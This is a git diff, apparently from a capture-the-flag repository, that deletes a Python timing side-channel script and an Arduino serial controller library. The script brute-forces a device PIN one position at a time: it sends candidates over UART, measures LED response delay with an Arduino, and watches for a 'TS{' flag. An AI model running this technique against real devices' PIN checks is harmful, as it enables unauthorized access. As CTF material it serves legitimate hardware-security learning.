- """Structured log output with level labels."""
- prefix = {
- "INFO": "\033[94m[INFO]\033[0m",
- "TEST": "\033[93m[TEST]\033[0m",
- "ATTEMPT": "\033[90m[ATTEMPT]\033[0m",
- "RESULT": "\033[92m[RESULT]\033[0m",
- "ERROR": "\033[91m[ERROR]\033[0m",
- "SUCCESS": "\033[96m[SUCCESS]\033[0m"
- }.get(level, "[LOG]")
- print(f"{prefix} {msg}")
-
-
-def send_uart_message(ser, message: str):
- """Send full message to UART target."""
- if not message.endswith(UART_NEWLINE):
- message += UART_NEWLINE
- ser.write(message.encode("utf-8"))
- ser.flush()
-
-
-def validate_start_settings():
- """Validate START_CODE and START_POS consistency and bounds."""
- if not isinstance(START_CODE, str):
- raise ValueError("START_CODE must be a string.")
- if not isinstance(START_POS, int):
- raise ValueError("START_POS must be an integer.")
- if len(START_CODE) != START_POS:
- raise ValueError("Length of START_CODE must equal START_POS.")
- if START_POS < 0 or START_POS > PIN_LENGTH:
- raise ValueError("START_POS out of valid range.")
- if len(START_CODE) > PIN_LENGTH:
- raise ValueError("START_CODE longer than PIN_LENGTH.")
-
-
-# ================================================================
-# PIN Discovery Logic
-# ================================================================
-
-def find_code(ser, arduino):
- """
- Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW.
-
- Important: no UART reading occurs during the timed interval. UART is only
- drained before sending (to remove stale lines) and immediately after the
- timing measurement completes. This avoids introducing extra delay into
- the critical timing path.
- """
-
- validate_start_settings()
- log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO")
-
- discovered = START_CODE
- start_pos = START_POS
-
- remaining_positions = PIN_LENGTH - start_pos
- if remaining_positions <= 0:
- log(f"No positions to discover. Current code: {discovered}", "INFO")
- return discovered
-
- total_candidates = len(KEYSPACE)
- total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE
- eta_start = time.time()
- attempts_done = 0
-
- for pos in range(start_pos, PIN_LENGTH):
- human_pos = pos + 1
- log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO")
- timings = {}
-
- # Upper bound grows with each identified position (relative index)
- relative_index = pos - start_pos
- upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20
-
- for idx, candidate in enumerate(KEYSPACE):
- candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1))
- durations = []
-
- for attempt in range(ATTEMPTS_PER_CANDIDATE):
- # Best-effort non-blocking drain of stale UART lines BEFORE sending
- try:
- while ser.in_waiting:
- _ = ser.readline() # discard
- except Exception:
- pass
-
- # Clear any previous short event records on Arduino
- try:
- arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1)
- except Exception:
- pass
-
- # Start timing immediately before send (critical interval begins)
- t_start = time.time()
- send_uart_message(ser, candidate_pin + UART_NEWLINE)
-
- # short settle after send (does not affect measurement start)
- time.sleep(SEND_SETTLE_DELAY)
-
- # Perform event-based capture (no UART reads here)
- dur_ms = 0
- try:
- events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS)
- except Exception:
- events = []
-
- if events:
- low_event = next((ev for ev in events if ev.get("state") == "LOW"), None)
- if low_event:
- dur_ms = low_event.get("duration_ms", 0)
-
- # Fallback blocking wait_if_no_event (still no UART reads)
- if dur_ms == 0:
- try:
- result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW")
- t_end = time.time()
- if isinstance(result, dict):
- dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000))
- else:
- dur_ms = int((t_end - t_start) * 1000)
- except Exception:
- dur_ms = 0
-
- # Immediately after measurement, drain UART non-blocking and check for success
- try:
- while ser.in_waiting:
- line = ser.readline().decode(errors='ignore').strip()
- if line and line.startswith("TS{"):
- # Found success; append this candidate and return the discovered code
- discovered += candidate
- log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS")
- return discovered
- except Exception:
- # ignore serial read errors and continue
- pass
-
- # Only include durations that lie within the allowed window
- if 600 <= dur_ms <= upper_bound:
- durations.append(dur_ms)
-
- # Update ETA (safe to compute outside critical interval)
- attempts_done += 1
- elapsed = time.time() - eta_start
- avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0
- remaining_attempts = total_attempts - attempts_done
- eta_remaining = remaining_attempts * avg_time_per_attempt
- eta_min, eta_sec = divmod(int(eta_remaining), 60)
-
- # Overwrite attempt line
- print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True)
-
- time.sleep(INTER_ATTEMPT_DELAY)
-
- # newline after candidate block
- #print()
-
- # Compute average using only valid durations
- avg_duration = (sum(durations) / len(durations)) if durations else 0.0
- timings[candidate] = avg_duration
- print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True)
- print()
-
- # Select best candidate (largest average); fallback to '0' if none valid
- if any(v > 0 for v in timings.values()):
- selected = max(timings, key=timings.get)
- else:
- selected = '0'
-
- discovered += selected
- log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO")
-
- # Progress display
- print(f"\n ┌───────────────────────────────┐")
- print(f" │ Progress: {discovered:<8} │")
- print(f" └───────────────────────────────┘\n")
-
- # Optional settle between positions; keep minimal if timing-sensitive
- if POSITION_SETTLE_DELAY:
- time.sleep(POSITION_SETTLE_DELAY)
-
- log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS")
- return discovered
-
-
-
-# ================================================================
-# Main Execution
-# ================================================================
-
-def main():
- log("Initialising Arduino controller...", "INFO")
- arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
- arduino.connect()
- version = arduino.get_version()
- log(f"Connected to Arduino firmware {version}", "INFO")
-
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO")
-
- log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO")
- ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
- log("UART connection established", "INFO")
-
- try:
- pin = find_code(ser, arduino)
- log(f"Discovered PIN: {pin}", "SUCCESS")
- except KeyboardInterrupt:
- log("Process interrupted by user", "ERROR")
- except Exception as e:
- log(f"Unexpected error: {e}", "ERROR")
- finally:
- ser.close()
- arduino.disconnect()
- log("Connections closed", "INFO")
-
-
-if __name__ == "__main__":
- main()
diff --git a/Misc/12Sec_CTF_V1/docs/arduinIO.py b/Misc/12Sec_CTF_V1/docs/arduinIO.py
deleted file mode 100644
index 704d31d..0000000
--- a/Misc/12Sec_CTF_V1/docs/arduinIO.py
+++ /dev/null
@@ -1,228 +0,0 @@
-"""
-=====================================================================
-ARDUINO SERIAL CONTROLLER CLASS (PYTHON)
-=====================================================================
-Version: 1.3.0
-Author: [Your Name]
-
-DESCRIPTION
----------------------------------------------------------------------
-This module provides a class-based interface to communicate with
-the Arduino Serial Pin Control and Monitoring Firmware v1.3.0.
-
-It supports all implemented serial commands including:
-- Version retrieval
-- Dynamic pin mode configuration
-- Pin map querying
-- Output control (default state, timed pulse)
-- Input monitoring and state reading
-- Duration measurement and blocking wait
-
-=====================================================================
-DEPENDENCIES
----------------------------------------------------------------------
-- pyserial (install with: pip install pyserial)
-
-=====================================================================
-EXAMPLE USAGE
----------------------------------------------------------------------
-from arduino_controller import ArduinoController
-import time
-
-# Create controller instance
-arduino = ArduinoController(port="COM3", baudrate=115200)
-
-# Connect and initialise
-arduino.connect()
-print("Version:", arduino.get_version())
-
-# Configure pins
-arduino.set_mode(2, "INPUT")
-arduino.set_mode(8, "OUTPUT")
-arduino.set_mode(9, "OUTPUT")
-arduino.set_mode(10, "OUTPUT")
-arduino.set_mode(11, "OUTPUT")
-
-print("Pin map:", arduino.get_pinmap())
-
-# Set outputs low, pulse one pin, monitor input
-arduino.set_default(8, "LOW")
-arduino.set_default(9, "LOW")
-arduino.set_default(10, "LOW")
-arduino.set_default(11, "LOW")
-
-arduino.set_for(8, "HIGH", 300)
-arduino.watch(2)
-
-# Read input state and duration
-state = arduino.get_state(2)
-duration = arduino.get_duration(2)
-print(f"Pin 2 state: {state}, duration since change: {duration} ms")
-
-# Wait for a state change to HIGH
-arduino.wait_for(2, "HIGH")
-
-# Disconnect
-arduino.disconnect()
-=====================================================================
-"""
-
-import serial
-import time
-
-
-class ArduinoController:
- """Provides a structured interface for Arduino serial control."""
-
- def __init__(self, port, baudrate=115200, timeout=1.0):
- self.port = port
- self.baudrate = baudrate
- self.timeout = timeout
- self.ser = None
-
- # -------------------------------------------------------------
- # Connection management
- # -------------------------------------------------------------
- def connect(self):
- """Establish serial connection and wait for READY signal."""
- self.ser = serial.Serial(self.port, self.baudrate, timeout=self.timeout)
- time.sleep(2) # Allow Arduino reset
- while True:
- line = self._read_line()
- if line == "READY":
- break
-
- def disconnect(self):
- """Close serial connection cleanly."""
- if self.ser and self.ser.is_open:
- self.ser.close()
-
- # -------------------------------------------------------------
- # Internal communication utilities
- # -------------------------------------------------------------
- def _send_command(self, command, expect_response=True):
- """Send a command string to the Arduino."""
- if not self.ser or not self.ser.is_open:
- raise ConnectionError("Serial connection not established.")
- self.ser.write((command + "\n").encode("utf-8"))
- if expect_response:
- return self._read_line()
- return None
-
- def _read_line(self):
- """Read a single line from serial and strip whitespace."""
- line = self.ser.readline().decode("utf-8").strip()
- return line
-
- # -------------------------------------------------------------
- # Core command wrappers
- # -------------------------------------------------------------
- def get_version(self):
- """Return firmware version."""
- return self._send_command("GET_VERSION")
-
- def set_mode(self, pin, mode):
- """Configure a pin as INPUT or OUTPUT."""
- return self._send_command(f"SET_MODE:{pin}:{mode}")
-
- def get_pinmap(self):
- """Return current pin assignments."""
- return self._send_command("GET_PINMAP")
-
- def set_default(self, pin, state):
- """Set an output pin to a default HIGH or LOW state."""
- return self._send_command(f"SET_DEFAULT:{pin}:{state}")
-
- def set_for(self, pin, state, duration_ms):
- """Set an output pin state for a specific duration (ms)."""
- return self._send_command(f"SET_FOR:{pin}:{state}:{duration_ms}")
-
- def watch(self, pin):
- """Start watching an input pin for state changes."""
- return self._send_command(f"WATCH:{pin}")
-
- def watch_pin(self, pin, duration_ms=2000):
- """
- Activates WATCH mode for a pin and collects CHANGE events for a period.
-
- Args:
- pin (int): Input pin number to watch.
- duration_ms (int): How long to listen for events.
-
- Returns:
- list of dict: [{'pin': int, 'state': str, 'duration_ms': int}, ...]
- """
- # Use the existing _send_command() method
- self._send_command(f"WATCH:{pin}", expect_response=False)
- messages = []
- start = time.time()
-
- while (time.time() - start) * 1000 < duration_ms:
- if self.ser.in_waiting:
- line = self._read_line()
- if line.startswith("CHANGE:"):
- # Example: CHANGE:2:HIGH:1421
- parts = line.split(":")
- if len(parts) == 4:
- try:
- messages.append({
- 'pin': int(parts[1]),
- 'state': parts[2],
- 'duration_ms': int(parts[3])
- })
- except ValueError:
- pass
- time.sleep(0.005)
-
- return messages
-
-
- def get_state(self, pin):
- """Return current state (HIGH or LOW) of a pin."""
- response = self._send_command(f"GET_STATE:{pin}")
- if response.startswith("STATE:"):
- return response.split(":")[2]
- return response
-
- def get_duration(self, pin):
- """Return duration since last state change."""
- response = self._send_command(f"GET_DURATION:{pin}")
- if response.startswith("DURATION:"):
- return int(response.split(":")[2])
- return response
-
- def wait_for(self, pin, state):
- """Block until specified pin reaches given state."""
- response = self._send_command(f"WAIT_FOR:{pin}:{state}")
- if response.startswith("WAIT_RESULT:"):
- _, pin_str, final_state, duration = response.split(":")
- return {"pin": int(pin_str), "state": final_state, "duration_ms": int(duration)}
- return response
-
- # -------------------------------------------------------------
- # Continuous monitoring
- # -------------------------------------------------------------
- def monitor(self, callback=None):
- """
- Continuously read from serial and process change notifications.
- Optionally pass a callback(line) for custom handling.
- """
- print("[INFO] Monitoring started. Press Ctrl+C to stop.")
- try:
- while True:
- line = self._read_line()
- if line:
- if callback:
- callback(line)
- else:
- print(line)
- except KeyboardInterrupt:
- print("\n[INFO] Monitoring stopped.")
-
- # -------------------------------------------------------------
- # Utility
- # -------------------------------------------------------------
- def flush(self):
- """Flush serial input buffer."""
- if self.ser:
- self.ser.reset_input_buffer()
diff --git a/Misc/12Sec_CTF_V1/docs/pwnpad.png b/Misc/12Sec_CTF_V1/docs/pwnpad.png
deleted file mode 100644
index 80561e6..0000000
--- a/Misc/12Sec_CTF_V1/docs/pwnpad.png
+++ /dev/null
Binary files differ